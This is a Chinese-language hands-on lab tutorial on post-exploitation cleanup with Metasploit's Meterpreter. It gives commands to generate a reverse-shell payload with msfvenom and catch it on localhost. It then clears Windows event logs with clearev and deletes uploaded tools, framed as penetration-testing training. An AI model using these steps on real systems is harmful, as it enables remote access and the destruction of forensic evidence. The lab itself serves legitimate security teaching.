演习后使用 Meterpreter 清理系统

Kali LinuxBeginner
立即练习

引言

在渗透测试和红队演练领域,获取目标系统的访问权限仅仅是任务的一部分。在获得访问权限后,以及在断开连接之前,你所做的事情至关重要。这个阶段被称为后渗透(post-exploitation)。后渗透的一个关键组成部分是清理(cleanup):即从被攻陷的系统中移除你存在的所有痕迹。

留下工具、日志或系统更改可能会让系统管理员和蓝队(blue teams)警觉到你的活动,导致演练失败以及你利用的漏洞被修复。Meterpreter 是 Metasploit Framework 中的一个强大 payload,它提供了多种工具来协助完成清理过程。

在本实验(lab)中,你将学习在演练结束后使用 Meterpreter 清理系统的基本步骤。你将练习获取会话(session)、清除事件日志(event logs)、删除文件以及理解不留下任何痕迹的重要性。

获取目标 Meterpreter 会话

在此步骤中,在我们练习清理系统之前,我们首先需要获取对它的访问权限。我们将通过使用 msfvenom 创建一个 payload,在 Metasploit Framework 中设置一个监听器,然后“执行”我们自己的机器上的 payload 来获取 localhost 的 Meterpreter 会话来模拟这一过程。

首先,打开一个终端并使用 msfvenom 生成一个 Linux Meterpreter payload。此命令将在你的当前目录 (~/project) 中创建一个名为 payload.elf 的可执行文件。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

你应该会看到指示 payload 已成功生成的输出:

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 240 bytes
Saved as: ~/project/payload.elf

接下来,启动 Metasploit Framework 控制台。-q 标志使其静默启动,不显示横幅。

msfconsole -q

进入 msfconsole 提示符后,你需要配置一个监听器来接收来自 payload 的连接。我们将使用 exploit/multi/handler 模块。

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

exploit -j 命令将监听器作为后台作业启动,因此你仍然可以使用控制台。你将看到一条消息表明监听器已启动。

现在,通过点击终端窗口中的 + 图标打开一个新的终端标签页。在此新标签页中,使 payload 可执行并运行它。

chmod +x ~/project/payload.elf
~/project/payload.elf

切换回你的第一个终端标签页(带有 msfconsole)。你应该会看到一条消息,表明已打开一个 Meterpreter 会话。

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36978) at 2023-10-27 10:30:00 -0400

要与此新会话进行交互,请使用 sessions 命令。

sessions -i 1

你的提示符应更改为 meterpreter >,表明你现在已控制该会话。

使用 clearev 命令清除事件日志

在此步骤中,我们将讨论 Meterpreter 中最重要的清理命令之一:clearev。清理的主要目标是清除系统日志中你活动的证据。在 Windows 系统上,这些日志(应用程序、系统和安全)是取证调查人员信息的主要来源。

clearev 命令专门用于清除 Windows 目标上的这三个主要事件日志。

重要提示:我们当前的 Meterpreter 会话是在 Linux 系统上。clearev 命令在此处不起作用,并且会产生错误。我们展示其用法是为了教育目的,因为当你的目标是 Windows 时,它是关键工具。

在你的 meterpreter > 提示符内,输入命令以查看在我们的 Linux 会话上的结果:

meterpreter > clearev

由于该命令未在 Linux 系统上实现,你将看到一条错误消息。

[-] core_channel_open: Operation failed: The "stdapi_sys_eventlog_open" command is not supported by this session.

但是,如果你在 Windows 机器上的 Meterpreter 会话中,输出将如下所示,表示成功:

[*] Wiping 3 records from Application...
[*] Wiping 3 records from System...
[*] Wiping 3 records from Security...

理解哪些工具适用于哪些操作系统是渗透测试人员的一项关键技能。尽管我们未能成功执行它,但你现在知道了在 Windows 目标上清除事件日志的主要命令。

手动删除任何上传的文件或工具

在此步骤中,你将学习如何手动删除可能已上传或在目标系统上创建的文件。自动化脚本很有用,但你应该始终执行手动检查,以确保没有留下任何工具、脚本或 payload。

在我们当前的情况下,我们在步骤 1 中创建的 payload.elf 文件现在位于“受损”系统上。我们必须删除它来清除我们的痕迹。我们可以直接从 Meterpreter 会话中进行此操作。

首先,在 Meterpreter 中使用 ls 命令列出目标当前目录中的文件。你应该会看到你的 payload 文件。

meterpreter > ls

输出将列出 /home/labex/project 中的文件:

Listing: /home/labex/project
============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100755/rwxr-xr-x  240     fil   2023-10-27 10:28:00 -0400  payload.elf
...

现在,在 Meterpreter 中使用 rm 命令删除文件。

meterpreter > rm payload.elf

你应该会看到一条确认消息:

[*] rm: Removed /home/labex/project/payload.elf

要确认文件已删除,请再次运行 ls 命令。payload.elf 文件不应再被列出。这是确保你离开系统时保持原样的关键步骤。

恢复在渗透后所做的任何系统更改

在此步骤中,我们将处理清理的另一个方面:恢复系统更改。在渗透后,你可能会添加用户帐户、更改文件权限或创建计划任务以实现持久化。在离开之前,所有这些更改都必须撤销。

我们将通过创建一个临时文件来模拟系统修改,然后将其删除。

在你的 meterpreter > 提示符下,让我们创建一个名为 temp_change.txt 的文件。我们可以通过使用 Meterpreter 的 execute 命令在目标系统上运行 touch 命令来完成此操作。

meterpreter > execute -f touch -a "/home/labex/project/temp_change.txt"

此命令执行 touch 并带有参数 /home/labex/project/temp_change.txt。你可以使用 ls 来验证其创建。

meterpreter > ls

现在,作为我们清理工作的一部分,我们必须删除此文件。使用 rm 命令,就像你在上一步中所做的那样。

meterpreter > rm temp_change.txt

这是一个非常简单的示例,但该原理适用于更复杂的更改。如果你添加了用户,则必须删除该用户。如果你修改了配置文件,则必须从备份中恢复它或手动撤销更改。

最后,我们在目标上的清理工作已完成。我们现在可以退出 Meterpreter 会话,然后退出 Metasploit 控制台。

meterpreter > exit
[*] Shutting down Meterpreter...

msf6 exploit(multi/handler) > exit

这将使你返回到常规终端提示符。

讨论不留下痕迹的重要性

最后一步是对清理为何是专业安全评估中最关键的阶段之一进行概念性回顾。这里没有需要运行的命令;目标是理解你刚刚练习的内容的战略重要性。

彻底清理的关键原因:

  1. 操作安全 (OPSEC): 主要目标是保持不被发现。你留下的任何痕迹——一个文件、一个日志条目、一个正在运行的进程——都是蓝队和事件响应者的线索。被发现可能会导致你的整个行动失败,包括你使用的工具和基础设施。

  2. 专业精神和诚信: 在专业的渗透测试中,你受雇评估安全性,而不是破坏客户的系统。将系统留在修改后的状态是不专业的。将系统恢复到原始状态体现了对客户环境的关怀和尊重。

  3. 防止意外损坏: 遗留的工具或脚本可能导致系统不稳定。更糟糕的是,你创建的用于访问的后门可能会被恶意行为者发现并利用,从而使系统比你开始时 更不 安全。你的责任是提高安全性,而不是制造新的漏洞。

  4. 维护未来访问权限: 在可能持续数周或数月的红队演习中,在每次小行动后进行清理,可以确保你的长期访问权限不会过早被发现。如果你被发现,防御者将修补漏洞并关闭你正在使用的访问点。

总之,有效的清理不仅仅是删除文件。它是一种优先考虑隐蔽性、专业精神和演习核心任务的心态。它将业余黑客与专业的安全测试人员区分开来。

总结

在本实验中,你已经完成了使用 Meterpreter 清理受损系统的基本过程。这是任何道德黑客或渗透测试人员的一项基本技能。

你成功地:

  • 通过创建和执行 payload 获得了 Meterpreter 会话。
  • 了解了 clearev 命令及其在 Windows 系统上清除事件日志的具体用途。
  • 练习了使用 Meterpreter 的 rm 命令从目标系统手动删除文件。
  • 通过创建和删除临时文件来模拟恢复系统更改。
  • 反思了清理对于维护操作安全和专业性的关键重要性。

通过掌握这些技术,你可以确保你的安全评估不仅有效,而且负责任,使目标环境恢复到你找到时的状态,并最大限度地降低被发现的风险。